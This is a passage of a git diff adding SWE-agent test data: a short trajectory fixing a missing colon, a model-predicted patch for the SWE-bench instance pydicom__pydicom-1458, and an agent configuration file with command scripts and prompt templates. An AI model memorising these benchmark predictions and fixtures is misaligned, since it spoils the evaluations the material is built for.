^\r\nSyntaxError: invalid syntax\r\n```\n\n\nINSTRUCTIONS:\nNow, you're going to solve this issue on your own. Your terminal session has started and you're in the repository's root directory. You can use any bash commands or the special interface to help you. Edit all the files you need to and run any checks or tests that you want. \nRemember, YOU CAN ONLY ENTER ONE COMMAND AT A TIME. You should always wait for feedback after every command. \nWhen you're satisfied with all of the changes you've made, you can submit your changes to the code base by simply running the submit command.\nNote however that you cannot use any interactive session commands (e.g. python, vim) in this environment, but you can write scripts and run them. E.g. you can write a python script and then run it with `python .py`.\n\nNOTE ABOUT THE EDIT COMMAND: Indentation really matters! When editing a file, make sure to insert appropriate indentation before each line! \n\nIMPORTANT TIPS:\n1. Always start by trying to replicate the bug that the issues discusses. \n If the issue includes code for reproducing the bug, we recommend that you re-implement that in your environment, and run it to make sure you can reproduce the bug.\n Then start trying to fix it.\n When you think you've fixed the bug, re-run the bug reproduction script to make sure that the bug has indeed been fixed.\n \n If the bug reproduction script does not print anything when it succesfully runs, we recommend adding a print(\"Script completed successfully, no errors.\") command at the end of the file,\n so that you can be sure that the script indeed ran fine all the way through. \n\n2. If you run a command and it doesn't work, try running a different command. A command that did not work once will not work the second time unless you modify it!\n\n3. If you open a file and need to get to an area around a specific line that is not in the first 100 lines, say line 583, don't just use the scroll_down command multiple times. Instead, use the goto 583 command. It's much quicker. \n \n4. If the bug reproduction script requires inputting/reading a specific file, such as buggy-input.png, and you'd like to understand how to input that file, conduct a search in the existing repo code, to see whether someone else has already done that. Do this by running the command: find_file \"buggy-input.png\" If that doensn't work, use the linux 'find' command. \n\n5. Always make sure to look at the currently open file and the current working directory (which appears right after the currently open file). The currently open file might be in a different directory than the working directory! Note that some commands, such as 'create', open files, so they might change the current open file.\n\n6. When editing files, it is easy to accidentally specify a wrong line number or to write code with incorrect indentation. Always check the code after you issue an edit to make sure that it reflects what you wanted to accomplish. If it didn't, issue another command to fix it.\n\n7. It may be necessary to install the repository from source before you can run code. Please think about how to install the environment from the repository directory if you need to do so.\n \n\n(Open file: n/a)\n(Current directory: /klieret__swe-agent-test-repo)\nbash-$", + "agent": "primary" + }, + { + "role": "assistant", + "content": "The issue indicates that there is a syntax error in the `missing_colon.py` file, specifically that a colon is missing at the end of a function definition. The error message points to line 4 in the file. To address this issue, we should first locate the `missing_colon.py` file and then open it to inspect and correct the syntax error.\n\nLet's start by finding the `missing_colon.py` file within the current repository.\n\n```\nfind_file \"missing_colon.py\"\n```", + "thought": "The issue indicates that there is a syntax error in the `missing_colon.py` file, specifically that a colon is missing at the end of a function definition. The error message points to line 4 in the file. To address this issue, we should first locate the `missing_colon.py` file and then open it to inspect and correct the syntax error.\n\nLet's start by finding the `missing_colon.py` file within the current repository.\n\n", + "action": "find_file \"missing_colon.py\"\n", + "agent": "primary" + }, + { + "role": "user", + "content": "Found 1 matches for \"missing_colon.py\" in /klieret__swe-agent-test-repo:\n/klieret__swe-agent-test-repo/tests/missing_colon.py\n\n(Open file: n/a)\n(Current directory: /klieret__swe-agent-test-repo)\nbash-$", + "agent": "primary" + }, + { + "role": "assistant", + "content": "The `missing_colon.py` file is located in the `tests` directory. Let's open the file to inspect the syntax error mentioned in the issue.\n\n```\nopen tests/missing_colon.py\n```", + "thought": "The `missing_colon.py` file is located in the `tests` directory. Let's open the file to inspect the syntax error mentioned in the issue.\n\n", + "action": "open tests/missing_colon.py\n", + "agent": "primary" + }, + { + "role": "user", + "content": "[File: /klieret__swe-agent-test-repo/tests/missing_colon.py (10 lines total)]\n1:#!/usr/bin/env python3\n2:\n3:\n4:def division(a: float, b: float) -> float\n5: return a/b\n6:\n7:\n8:if __name__ == \"__main__\":\n9: print(division(123, 15))\n10:\n\n(Open file: /klieret__swe-agent-test-repo/tests/missing_colon.py)\n(Current directory: /klieret__swe-agent-test-repo)\nbash-$", + "agent": "primary" + }, + { + "role": "assistant", + "content": "The syntax error is indeed on line 4, where the function definition for `division` is missing a colon at the end. Let's add the missing colon to fix the syntax error.\n\n```\nedit 4:4\ndef division(a: float, b: float) -> float:\nend_of_edit\n```", + "thought": "The syntax error is indeed on line 4, where the function definition for `division` is missing a colon at the end. Let's add the missing colon to fix the syntax error.\n\n", + "action": "edit 4:4\ndef division(a: float, b: float) -> float:\nend_of_edit\n", + "agent": "primary" + }, + { + "role": "user", + "content": "[File: /klieret__swe-agent-test-repo/tests/missing_colon.py (10 lines total)]\n1:#!/usr/bin/env python3\n2:\n3:\n4:def division(a: float, b: float) -> float:\n5: return a/b\n6:\n7:\n8:if __name__ == \"__main__\":\n9: print(division(123, 15))\n10:\nFile updated. Please review the changes and make sure they are correct (correct indentation, no duplicate lines, etc). Edit the file again if necessary.\n\n(Open file: /klieret__swe-agent-test-repo/tests/missing_colon.py)\n(Current directory: /klieret__swe-agent-test-repo)\nbash-$", + "agent": "primary" + }, + { + "role": "assistant", + "content": "The syntax error has been corrected by adding the missing colon at the end of the function definition on line 4. To ensure that the fix is correct and that there are no other issues with the `missing_colon.py` file, we should run the file.\n\n```\npython tests/missing_colon.py\n```", + "thought": "The syntax error has been corrected by adding the missing colon at the end of the function definition on line 4. To ensure that the fix is correct and that there are no other issues with the `missing_colon.py` file, we should run the file.\n\n", + "action": "python tests/missing_colon.py\n", + "agent": "primary" + }, + { + "role": "user", + "content": "8.2\n\n(Open file: /klieret__swe-agent-test-repo/tests/missing_colon.py)\n(Current directory: /klieret__swe-agent-test-repo)\nbash-$", + "agent": "primary" + }, + { + "role": "assistant", + "content": "The `missing_colon.py` script ran successfully and outputted the result of the division function, which indicates that the syntax error has been resolved. Now that the issue is fixed, we can submit the changes to the code base.\n\n```\nsubmit\n```", + "thought": "The `missing_colon.py` script ran successfully and outputted the result of the division function, which indicates that the syntax error has been resolved. Now that the issue is fixed, we can submit the changes to the code base.\n\n", + "action": "submit\n", + "agent": "primary" + } + ], + "info": { + "exit_status": "submitted", + "submission": "\ndiff --git a/tests/missing_colon.py b/tests/missing_colon.py\nindex 20edef5..5857437 100755\n--- a/tests/missing_colon.py\n+++ b/tests/missing_colon.py\n@@ -1,7 +1,7 @@\n #!/usr/bin/env python3\n \n \n-def division(a: float, b: float) -> float\n+def division(a: float, b: float) -> float:\n return a/b\n \n \n", + "model_stats": { + "total_cost": 0.53839, + "instance_cost": 0.53839, + "tokens_sent": 52861, + "tokens_received": 326, + "api_calls": 5 + } + } +} \ No newline at end of file diff --git a/tests/test_data/trajectories/gpt4__swe-bench-dev-easy_first_only__default__t-0.00__p-0.95__c-3.00__install-1/all_preds.jsonl b/tests/test_data/trajectories/gpt4__swe-bench-dev-easy_first_only__default__t-0.00__p-0.95__c-3.00__install-1/all_preds.jsonl new file mode 100644 index 0000000..61dc90e --- /dev/null +++ b/tests/test_data/trajectories/gpt4__swe-bench-dev-easy_first_only__default__t-0.00__p-0.95__c-3.00__install-1/all_preds.jsonl @@ -0,0 +1 @@ +{"model_name_or_path": "gpt4__swe-bench-dev-easy_first_only__default__t-0.00__p-0.95__c-3.00__install-1", "instance_id": "pydicom__pydicom-1458", "model_patch": "\ndiff --git a/pydicom/pixel_data_handlers/numpy_handler.py b/pydicom/pixel_data_handlers/numpy_handler.py\nindex 8e8d319ae..6a1221b72 100644\n--- a/pydicom/pixel_data_handlers/numpy_handler.py\n+++ b/pydicom/pixel_data_handlers/numpy_handler.py\n@@ -285,9 +285,10 @@ def get_pixeldata(ds: \"Dataset\", read_only: bool = False) -> \"np.ndarray\":\n )\n \n required_elements = [\n- 'BitsAllocated', 'Rows', 'Columns', 'PixelRepresentation',\n- 'SamplesPerPixel', 'PhotometricInterpretation'\n+ 'BitsAllocated', 'Rows', 'Columns', 'SamplesPerPixel', 'PhotometricInterpretation'\n ]\n+ if 'PixelData' in ds:\n+ required_elements.append('PixelRepresentation')\n missing = [elem for elem in required_elements if elem not in ds]\n if missing:\n raise AttributeError(\n"} diff --git a/tests/test_data/trajectories/gpt4__swe-bench-dev-easy_first_only__default__t-0.00__p-0.95__c-3.00__install-1/args.yaml b/tests/test_data/trajectories/gpt4__swe-bench-dev-easy_first_only__default__t-0.00__p-0.95__c-3.00__install-1/args.yaml new file mode 100644 index 0000000..672bea6 --- /dev/null +++ b/tests/test_data/trajectories/gpt4__swe-bench-dev-easy_first_only__default__t-0.00__p-0.95__c-3.00__install-1/args.yaml @@ -0,0 +1,520 @@ +actions: + apply_patch_locally: false + open_pr: false + push_gh_repo_url: '' + skip_if_commits_reference_issue: true +agent: + config: + _commands: + - arguments: + line_number: + description: the line number to move the window to (if not provided, the + window will start at the top of the file) + required: false + type: integer + path: + description: the path to the file to open + required: true + type: string + code: 'open() { if [ -z "$1" ] then echo "Usage: open " return fi # + Check if the second argument is provided if [ -n "$2" ]; then # + Check if the provided argument is a valid number if ! [[ $2 =~ ^[0-9]+$ + ]]; then echo "Usage: open []" echo + "Error: must be a number" return # Exit if the line + number is not valid fi local max_line=$(awk ''END {print NR}'' + $1) if [ $2 -gt $max_line ]; then echo "Warning: + ($2) is greater than the number of lines in the file ($max_line)" echo + "Warning: Setting to $max_line" local line_number=$(jq + -n "$max_line") # Set line number to max if greater than max elif + [ $2 -lt 1 ]; then echo "Warning: ($2) is less than + 1" echo "Warning: Setting to 1" local + line_number=$(jq -n "1") # Set line number to 1 if less than 1 else local + OFFSET=$(jq -n "$WINDOW/6" | jq ''floor'') local line_number=$(jq + -n "[$2 + $WINDOW/2 - $OFFSET, 1] | max | floor") fi else local + line_number=$(jq -n "$WINDOW/2") # Set default line number if not provided fi if + [ -f "$1" ]; then export CURRENT_FILE=$(realpath $1) export + CURRENT_LINE=$line_number _constrain_line _print elif [ -d + "$1" ]; then echo "Error: $1 is a directory. You can only open files. + Use cd or ls to navigate directories." else echo "File $1 not found" fi}' + docstring: opens the file at the given path in the editor. If line_number is + provided, the window will be move to include that line + end_name: null + name: open + signature: open [] + - arguments: + line_number: + description: the line number to move the window to + required: true + type: integer + code: 'goto() { if [ $# -gt 1 ]; then echo "goto allows only one line + number at a time." return fi if [ -z "$CURRENT_FILE" ] then echo + "No file open. Use the open command first." return fi if [ -z + "$1" ] then echo "Usage: goto " return fi if + ! [[ $1 =~ ^[0-9]+$ ]] then echo "Usage: goto " echo + "Error: must be a number" return fi local max_line=$(awk + ''END {print NR}'' $CURRENT_FILE) if [ $1 -gt $max_line ] then echo + "Error: must be less than or equal to $max_line" return fi local + OFFSET=$(jq -n "$WINDOW/6" | jq ''floor'') export CURRENT_LINE=$(jq -n + "[$1 + $WINDOW/2 - $OFFSET, 1] | max | floor") _constrain_line _print}' + docstring: moves the window to show + end_name: null + name: goto + signature: goto + - arguments: null + code: scroll_down() { if [ -z "$CURRENT_FILE" ] then echo "No file + open. Use the open command first." return fi export CURRENT_LINE=$(jq + -n "$CURRENT_LINE + $WINDOW - $OVERLAP") _constrain_line _print} + docstring: moves the window down {WINDOW} lines + end_name: null + name: scroll_down + signature: scroll_down + - arguments: null + code: scroll_up() { if [ -z "$CURRENT_FILE" ] then echo "No file + open. Use the open command first." return fi export CURRENT_LINE=$(jq + -n "$CURRENT_LINE - $WINDOW + $OVERLAP") _constrain_line _print} + docstring: moves the window down {WINDOW} lines + end_name: null + name: scroll_up + signature: scroll_down + - arguments: + filename: + description: the name of the file to create + required: true + type: string + code: "create() { if [ -z \"$1\" ]; then echo \"Usage: create \"\ + \ return fi # Check if the file already exists if [ -e \"\ + $1\" ]; then echo \"Error: File '$1' already exists.\"\t\topen \"$1\"\ + \ return fi # Create the file an empty new line printf \"\\\ + n\" > \"$1\" # Use the existing open command to open the created file \ + \ open \"$1\"}" + docstring: creates and opens a new file with the given name + end_name: null + name: create + signature: create + - arguments: null + code: 'submit() { cd $ROOT # Check if the patch file exists and is non-empty if + [ -s "/root/test.patch" ]; then # Apply the patch in reverse git + apply -R < "/root/test.patch" fi git add -A git diff --cached > model.patch echo + "<>"}' + docstring: submits your current code and terminates the session + end_name: null + name: submit + signature: submit + - arguments: + dir: + description: the directory to search in (if not provided, searches in the + current directory) + required: false + type: string + search_term: + description: the term to search for + required: true + type: string + code: 'search_dir() { if [ $# -eq 1 ]; then local search_term="$1" local + dir="./" elif [ $# -eq 2 ]; then local search_term="$1" if + [ -d "$2" ]; then local dir="$2" else echo "Directory + $2 not found" return fi else echo "Usage: search_dir + []" return fi dir=$(realpath "$dir") local + matches=$(find "$dir" -type f ! -path ''*/.*'' -exec grep -nIH -- "$search_term" + {} + | cut -d: -f1 | sort | uniq -c) # if no matches, return if [ -z + "$matches" ]; then echo "No matches found for \"$search_term\" in $dir" return fi # + Calculate total number of matches local num_matches=$(echo "$matches" | + awk ''{sum+=$1} END {print sum}'') # calculate total number of files matched local + num_files=$(echo "$matches" | wc -l | awk ''{$1=$1; print $0}'') # if num_files + is > 100, print an error if [ $num_files -gt 100 ]; then echo "More + than $num_files files matched for \"$search_term\" in $dir. Please narrow + your search." return fi echo "Found $num_matches matches + for \"$search_term\" in $dir:" echo "$matches" | awk ''{$2=$2; gsub(/^\.+\/+/, + "./", $2); print $2 " ("$1" matches)"}'' echo "End of matches for \"$search_term\" + in $dir"}' + docstring: searches for search_term in all files in dir. If dir is not provided, + searches in the current directory + end_name: null + name: search_dir + signature: search_dir [] + - arguments: + file: + description: the file to search in (if not provided, searches in the current + open file) + required: false + type: string + search_term: + description: the term to search for + required: true + type: string + code: 'search_file() { # Check if the first argument is provided if [ + -z "$1" ]; then echo "Usage: search_file []" return fi # + Check if the second argument is provided if [ -n "$2" ]; then # + Check if the provided argument is a valid file if [ -f "$2" ]; then local + file="$2" # Set file if valid else echo "Usage: search_file + []" echo "Error: File name $2 not found. Please + provide a valid file name." return # Exit if the file is not valid fi else # + Check if a file is open if [ -z "$CURRENT_FILE" ]; then echo + "No file open. Use the open command first." return # Exit if no + file is open fi local file="$CURRENT_FILE" # Set file to the + current open file fi local search_term="$1" file=$(realpath "$file") # + Use grep to directly get the desired formatted output local matches=$(grep + -nH -- "$search_term" "$file") # Check if no matches were found if [ + -z "$matches" ]; then echo "No matches found for \"$search_term\" in + $file" return fi # Calculate total number of matches local + num_matches=$(echo "$matches" | wc -l | awk ''{$1=$1; print $0}'') # + calculate total number of lines matched local num_lines=$(echo "$matches" + | cut -d: -f1 | sort | uniq | wc -l | awk ''{$1=$1; print $0}'') # if num_lines + is > 100, print an error if [ $num_lines -gt 100 ]; then echo "More + than $num_lines lines matched for \"$search_term\" in $file. Please narrow + your search." return fi # Print the total number of matches and + the matches themselves echo "Found $num_matches matches for \"$search_term\" + in $file:" echo "$matches" | cut -d: -f1-2 | sort -u -t: -k2,2n | while + IFS=: read -r filename line_number; do echo "Line $line_number:$(sed + -n "${line_number}p" "$file")" done echo "End of matches for \"$search_term\" + in $file"}' + docstring: searches for search_term in file. If file is not provided, searches + in the current open file + end_name: null + name: search_file + signature: search_file [] + - arguments: + dir: + description: the directory to search in (if not provided, searches in the + current directory) + required: false + type: string + file_name: + description: the name of the file to search for + required: true + type: string + code: 'find_file() { if [ $# -eq 1 ]; then local file_name="$1" local + dir="./" elif [ $# -eq 2 ]; then local file_name="$1" if + [ -d "$2" ]; then local dir="$2" else echo "Directory + $2 not found" return fi else echo "Usage: find_file + []" return fi dir=$(realpath "$dir") local + matches=$(find "$dir" -type f -name "$file_name") # if no matches, return if + [ -z "$matches" ]; then echo "No matches found for \"$file_name\" in + $dir" return fi # Calculate total number of matches local + num_matches=$(echo "$matches" | wc -l | awk ''{$1=$1; print $0}'') echo + "Found $num_matches matches for \"$file_name\" in $dir:" echo "$matches" + | awk ''{print $0}''}' + docstring: finds all files with the given name in dir. If dir is not provided, + searches in the current directory + end_name: null + name: find_file + signature: find_file [] + - arguments: + end_line: + description: the line number to end the edit at (inclusive) + required: true + type: integer + replacement_text: + description: the text to replace the current selection with + required: true + type: string + start_line: + description: the line number to start the edit at + required: true + type: integer + code: 'edit() { if [ -z "$CURRENT_FILE" ] then echo ''No file open. + Use the `open` command first.'' return fi local start_line="$(echo + $1: | cut -d: -f1)" local end_line="$(echo $1: | cut -d: -f2)" if [ + -z "$start_line" ] || [ -z "$end_line" ] then echo "Usage: edit + :" return fi local re=''^[0-9]+$'' if + ! [[ $start_line =~ $re ]]; then echo "Usage: edit :" echo + "Error: start_line must be a number" return fi if ! [[ $end_line + =~ $re ]]; then echo "Usage: edit :" echo + "Error: end_line must be a number" return fi # Bash array starts + at 0, so let''s adjust local start_line=$((start_line - 1)) local end_line=$((end_line)) local + line_count=0 local replacement=() while IFS= read -r line do replacement+=("$line") ((line_count++)) done # + Create a backup of the current file cp "$CURRENT_FILE" "/root/$(basename + "$CURRENT_FILE")_backup" # Read the file line by line into an array mapfile + -t lines < "$CURRENT_FILE" local new_lines=("${lines[@]:0:$start_line}" + "${replacement[@]}" "${lines[@]:$((end_line))}") # Write the new stuff + directly back into the original file printf "%s\n" "${new_lines[@]}" >| + "$CURRENT_FILE" # Run linter if [[ $CURRENT_FILE == *.py ]]; then lint_output=$(flake8 + --select=F821,F822,F831,E111,E112,E113,E999,E902 "$CURRENT_FILE" 2>&1) else # + do nothing lint_output="" fi # if there is no output, then the + file is good if [ -z "$lint_output" ]; then export CURRENT_LINE=$start_line _constrain_line _print echo + "File updated. Please review the changes and make sure they are correct (correct + indentation, no duplicate lines, etc). Edit the file again if necessary." else echo + "Your proposed edit has introduced new syntax error(s). Please understand + the fixes and retry your edit command." echo "" echo "ERRORS:" _split_string + "$lint_output" echo "" # Save original values original_current_line=$CURRENT_LINE original_window=$WINDOW # + Update values export CURRENT_LINE=$(( (line_count / 2) + start_line + )) # Set to "center" of edit export WINDOW=$((line_count + 10)) # Show + +/- 5 lines around edit echo "This is how your edit would have looked + if applied" echo "-------------------------------------------------" _constrain_line _print echo + "-------------------------------------------------" echo "" # + Restoring CURRENT_FILE to original contents. cp "/root/$(basename "$CURRENT_FILE")_backup" + "$CURRENT_FILE" export CURRENT_LINE=$(( ((end_line - start_line + 1) + / 2) + start_line )) export WINDOW=$((end_line - start_line + 10)) echo + "This is the original code before your edit" echo "-------------------------------------------------" _constrain_line _print echo + "-------------------------------------------------" # Restore original + values export CURRENT_LINE=$original_current_line export WINDOW=$original_window echo + "Your changes have NOT been applied. Please fix your edit command and try + again." echo "You either need to 1) Specify the correct start/end line + arguments or 2) Correct your edit code." echo "DO NOT re-run the same + failed edit command. Running it again will lead to the same error." fi # + Remove backup file rm -f "/root/$(basename "$CURRENT_FILE")_backup"}' + docstring: replaces lines through (inclusive) with the + given text in the open file. The replacement text is terminated by a line + with only end_of_edit on it. All of the will be entered, + so make sure your indentation is formatted properly. Python files will be + checked for syntax errors after the edit. If the system detects a syntax error, + the edit will not be executed. Simply try to edit the file again, but make + sure to read the error message and modify the edit command you issue accordingly. + Issuing the same command a second time will just lead to the same error message + again. + end_name: end_of_edit + name: edit + signature: |- + edit : + + end_of_edit + _subroutines: {} + blocklist: + - vim + - vi + - emacs + - nano + - nohup + - git + blocklist_error_template: Interactive operation '{name}' is not supported by this + environment + blocklist_standalone: + - python + - python3 + - ipython + - bash + - sh + - exit + - /bin/bash + - /bin/sh + - nohup + - vi + - vim + - emacs + - nano + command_docs: |+ + open: + docstring: opens the file at the given path in the editor. If line_number is provided, the window will be move to include that line + signature: open [] + arguments: + - path (string) [required]: the path to the file to open + - line_number (integer) [optional]: the line number to move the window to (if not provided, the window will start at the top of the file) + + goto: + docstring: moves the window to show + signature: goto + arguments: + - line_number (integer) [required]: the line number to move the window to + + scroll_down: + docstring: moves the window down {WINDOW} lines + signature: scroll_down + + scroll_up: + docstring: moves the window down {WINDOW} lines + signature: scroll_down + + create: + docstring: creates and opens a new file with the given name + signature: create + arguments: + - filename (string) [required]: the name of the file to create + + submit: + docstring: submits your current code and terminates the session + signature: submit + + search_dir: + docstring: searches for search_term in all files in dir. If dir is not provided, searches in the current directory + signature: search_dir [] + arguments: + - search_term (string) [required]: the term to search for + - dir (string) [optional]: the directory to search in (if not provided, searches in the current directory) + + search_file: + docstring: searches for search_term in file. If file is not provided, searches in the current open file + signature: search_file [] + arguments: + - search_term (string) [required]: the term to search for + - file (string) [optional]: the file to search in (if not provided, searches in the current open file) + + find_file: + docstring: finds all files with the given name in dir. If dir is not provided, searches in the current directory + signature: find_file [] + arguments: + - file_name (string) [required]: the name of the file to search for + - dir (string) [optional]: the directory to search in (if not provided, searches in the current directory) + + edit: + docstring: replaces lines through (inclusive) with the given text in the open file. The replacement text is terminated by a line with only end_of_edit on it. All of the will be entered, so make sure your indentation is formatted properly. Python files will be checked for syntax errors after the edit. If the system detects a syntax error, the edit will not be executed. Simply try to edit the file again, but make sure to read the error message and modify the edit command you issue accordingly. Issuing the same command a second time will just lead to the same error message again. + signature: edit : + + end_of_edit + arguments: + - start_line (integer) [required]: the line number to start the edit at + - end_line (integer) [required]: the line number to end the edit at (inclusive) + - replacement_text (string) [required]: the text to replace the current selection with + + command_files: + - config/commands/defaults.sh + - config/commands/search.sh + - config/commands/edit_linting.sh + - config/commands/_split_string.py + demonstration_template: | + Here is a demonstration of how to correctly accomplish this task. + It is included to show you how to correctly use the interface. + You do not need to follow exactly what is done in the demonstration. + --- DEMONSTRATION --- + {demonstration} + --- END OF DEMONSTRATION --- + demonstrations: + - trajectories/demonstrations/replay__marshmallow-code__marshmallow-1867__default_sys-env_window100__t-0.20__p-0.95__c-2.00__install-1/marshmallow-code__marshmallow-1867.traj + env_variables: + CURRENT_FILE: '' + CURRENT_LINE: '0' + OVERLAP: '2' + SEARCH_FILES: () + SEARCH_INDEX: '0' + SEARCH_RESULTS: () + WINDOW: '100' + format_error_template: | + Your output was not formatted correctly. You must always include one discussion and one command as part of your response. Make sure you do not have multiple discussion/command tags. + Please make sure your output precisely matches the following format: + DISCUSSION + Discuss here with yourself about what your planning and what you're going to do in this step. + + ``` + command(s) that you're going to run + ``` + history_processors: [] + instance_template: "We're currently solving the following issue within our repository.\ + \ Here's the issue text:\nISSUE:\n{issue}\n\nINSTRUCTIONS:\nNow, you're going\ + \ to solve this issue on your own. Your terminal session has started and you're\ + \ in the repository's root directory. You can use any bash commands or the special\ + \ interface to help you. Edit all the files you need to and run any checks or\ + \ tests that you want. \nRemember, YOU CAN ONLY ENTER ONE COMMAND AT A TIME.\ + \ You should always wait for feedback after every command. \nWhen you're satisfied\ + \ with all of the changes you've made, you can submit your changes to the code\ + \ base by simply running the submit command.\nNote however that you cannot use\ + \ any interactive session commands (e.g. python, vim) in this environment, but\ + \ you can write scripts and run them. E.g. you can write a python script and\ + \ then run it with `python .py`.\n\nNOTE ABOUT THE EDIT COMMAND:\ + \ Indentation really matters! When editing a file, make sure to insert appropriate\ + \ indentation before each line! \n\nIMPORTANT TIPS:\n1. Always start by trying\ + \ to replicate the bug that the issues discusses. \n If the issue includes\ + \ code for reproducing the bug, we recommend that you re-implement that in your\ + \ environment, and run it to make sure you can reproduce the bug.\n Then start\ + \ trying to fix it.\n When you think you've fixed the bug, re-run the bug\ + \ reproduction script to make sure that the bug has indeed been fixed.\n \n\ + \ If the bug reproduction script does not print anything when it successfully\ + \ runs, we recommend adding a print(\"Script completed successfully, no errors.\"\ + ) command at the end of the file,\n so that you can be sure that the script\ + \ indeed ran fine all the way through. \n\n2. If you run a command and it doesn't\ + \ work, try running a different command. A command that did not work once will\ + \ not work the second time unless you modify it!\n\n3. If you open a file and\ + \ need to get to an area around a specific line that is not in the first 100\ + \ lines, say line 583, don't just use the scroll_down command multiple times.\ + \ Instead, use the goto 583 command. It's much quicker. \n \n4. If the bug\ + \ reproduction script requires inputting/reading a specific file, such as buggy-input.png,\ + \ and you'd like to understand how to input that file, conduct a search in the\ + \ existing repo code, to see whether someone else has already done that. Do\ + \ this by running the command: find_file \"buggy-input.png\" If that doensn't\ + \ work, use the linux 'find' command. \n\n5. Always make sure to look at the\ + \ currently open file and the current working directory (which appears right\ + \ after the currently open file). The currently open file might be in a different\ + \ directory than the working directory! Note that some commands, such as 'create',\ + \ open files, so they might change the current open file.\n\n6. When editing\ + \ files, it is easy to accidentally specify a wrong line number or to write\ + \ code with incorrect indentation. Always check the code after you issue an\ + \ edit to make sure that it reflects what you wanted to accomplish. If it didn't,\ + \ issue another command to fix it.\n \n\n(Open file: {open_file})\n(Current\ + \ directory: {working_dir})\nbash-$" + next_step_no_output_template: |- + Your command ran successfully and did not produce any output. + (Open file: {open_file}) + (Current directory: {working_dir}) + bash-$ + next_step_template: |- + {observation} + (Open file: {open_file}) + (Current directory: {working_dir}) + bash-$ + parse_command: {} + parse_function: {} + put_demos_in_history: false + strategy_template: null + submit_command: submit + subroutine_types: [] + system_template: "SETTING: You are an autonomous programmer, and you're working\ + \ directly in the command line with a special interface.\n\nThe special interface\ + \ consists of a file editor that shows you {WINDOW} lines of a file at a time.\n\ + In addition to typical bash commands, you can also use the following commands\ + \ to help you navigate and edit files.\n\nCOMMANDS:\n{command_docs}\n\nPlease\ + \ note that THE EDIT COMMAND REQUIRES PROPER INDENTATION. \nIf you'd like to\ + \ add the line ' print(x)' you must fully write that out, with all those\ + \ spaces before the code! Indentation is important and code that is not indented\ + \ correctly will fail and require fixing before it can be run.\n\nRESPONSE FORMAT:\n\ + Your shell prompt is formatted as follows:\n(Open file: ) $\n\n\ + You need to format your output using two fields; discussion and command.\nYour\ + \ output should always include _one_ discussion and _one_ command field EXACTLY\ + \ as in the following example:\nDISCUSSION\nFirst I'll start by using ls to\ + \ see what files are in the current directory. Then maybe we can look at some\ + \ relevant files to see what they look like.\n```\nls -a\n```\n\nYou should\ + \ only include a *SINGLE* command in the command section and then wait for a\ + \ response from the shell before continuing with more discussion and commands.\ + \ Everything you include in the DISCUSSION section will be saved for future\ + \ reference.\nIf you'd like to issue two commands at once, PLEASE DO NOT DO\ + \ THAT! Please instead first submit just the first command, and then after receiving\ + \ a response you'll be able to issue the second command. \nYou're free to use\ + \ any other bash commands you want (e.g. find, grep, cat, ls, cd) in addition\ + \ to the special commands listed above.\nHowever, the environment does NOT support\ + \ interactive session commands (e.g. python, vim), so please do not invoke them." + util_functions: + - arguments: null + code: '_print() { local total_lines=$(awk ''END {print NR}'' $CURRENT_FILE) echo + "[File: $(realpath $CURRENT_FILE) ($total_lines lines total)]" lines_above=$(jq + -n "$CURRENT_LINE - $WINDOW/2" | jq ''[0, .] | max | floor'') lines_below=$(jq + -n "$total_lines - $CURRENT_LINE - $WINDOW/2" | jq ''[0, .] | max | round'') if + [ $lines_above -gt 0 ]; then echo "($lines_above more lines above)" fi cat + $CURRENT_FILE | grep -n $ | head -n $(jq -n "[$CURRENT_LINE + $WINDOW/2, $WINDOW/2] + | max | floor") | tail -n $(jq -n "$WINDOW") if [ $lines_below -gt 0 ]; + then echo "($lines_below more lines below)" fi}' + docstring: null + end_name: null + name: _print + signature: _print + - arguments: null + code: _constrain_line() { if [ -z "$CURRENT_FILE" ] then echo "No + file open. Use the open command first." return fi local max_line=$(awk + 'END {print NR}' $CURRENT_FILE) local half_window=$(jq -n "$WINDOW/2" | + jq 'floor') export CURRENT_LINE=$(jq -n "[$CURRENT_LINE, $max_line - $half_window] + | min") export CURRENT_LINE=$(jq -n "[$CURRENT_LINE, $half_window] | max")} + docstring: null + end_name: null + name: _constrain_line + signature: _constrain_line + config_file: config/anthropic_filemap.yaml + model: + host_url: localhost:11434 + model_name: gpt4 + per_instance_cost_limit: 3.0 + replay_path: null + temperature: 0.0 + top_p: 0.95 + total_cost_limit: 0.0 +environment: + base_commit: null + container_name: null + data_path: tests/test_data/data_sources/swe-bench-dev-easy_first_only.json + environment_setup: null + image_name: sweagent/swe-agent:latest + install_environment: true + no_mirror: false + repo_path: '' + split: dev + timeout: 35 + verbose: true +instance_filter: .* +raise_exceptions: false +skip_existing: true +suffix: '' diff --git a/tests/test_data/trajectories/gpt4__swe-bench-dev-easy_first_only__default__t-0.00__p-0.95__c-3.00__install-1/patches/pydicom__pydicom-1458.patch b/tests/test_data/trajectories/gpt4__swe-bench-dev-easy_first_only__default__t-0.00__p-0.95__c-3.00__install-1/patches/pydicom__pydicom-1458.patch new file mode 100644 index 0000000..af3cae4 --- /dev/null +++ b/tests/test_data/trajectories/gpt4__swe-bench-dev-easy_first_only__default__t-0.00__p-0.95__c-3.00__install-1/patches/pydicom__pydicom-1458.patch @@ -0,0 +1,18 @@ + +diff --git a/pydicom/pixel_data_handlers/numpy_handler.py b/pydicom/pixel_data_handlers/numpy_handler.py +index 8e8d319ae..6a1221b72 100644 +--- a/pydicom/pixel_data_handlers/numpy_handler.py ++++ b/pydicom/pixel_data_handlers/numpy_handler.py +@@ -285,9 +285,10 @@ def get_pixeldata(ds: "Dataset", read_only: bool = False) -> "np.ndarray": + ) + + required_elements = [ +- 'BitsAllocated', 'Rows', 'Columns', 'PixelRepresentation', +- 'SamplesPerPixel', 'PhotometricInterpretation' ++ 'BitsAllocated', 'Rows', 'Columns', 'SamplesPerPixel', 'PhotometricInterpretation' + ] ++ if 'PixelData' in ds: ++ required_elements.append('PixelRepresentation') + missing = [elem for elem in required_elements if elem not in ds] + if missing: + raise AttributeError( diff --git a/tests/test_data/trajectories/gpt4__swe-bench-dev-easy_first_only__default__t-0.00__p-0.95__c-3.00__install-1/pydicom__pydicom-1458.traj b/tests/test_data/trajectories/gpt4__swe-bench-dev-easy_first_only__default__t-0.00__p-0.95__c-3.00__install-1/pydicom__pydicom-1458.traj new file mode 100644 index 0000000..1ff4b19 --- /dev/null +++ b/tests/test_data/trajectories/gpt4__swe-bench-dev-easy_first_only__default__t-0.00__p-0.95__c-3.00__install-1/pydicom__pydicom-1458.traj @@ -0,0 +1,257 @@ +{ + "environment": "swe_main", + "trajectory": [ + { + "action": "create reproduce_bug.py\n", + "observation": "[File: /pydicom__pydicom/reproduce_bug.py (1 lines total)]\n1:\n", + "response": "First, I'll 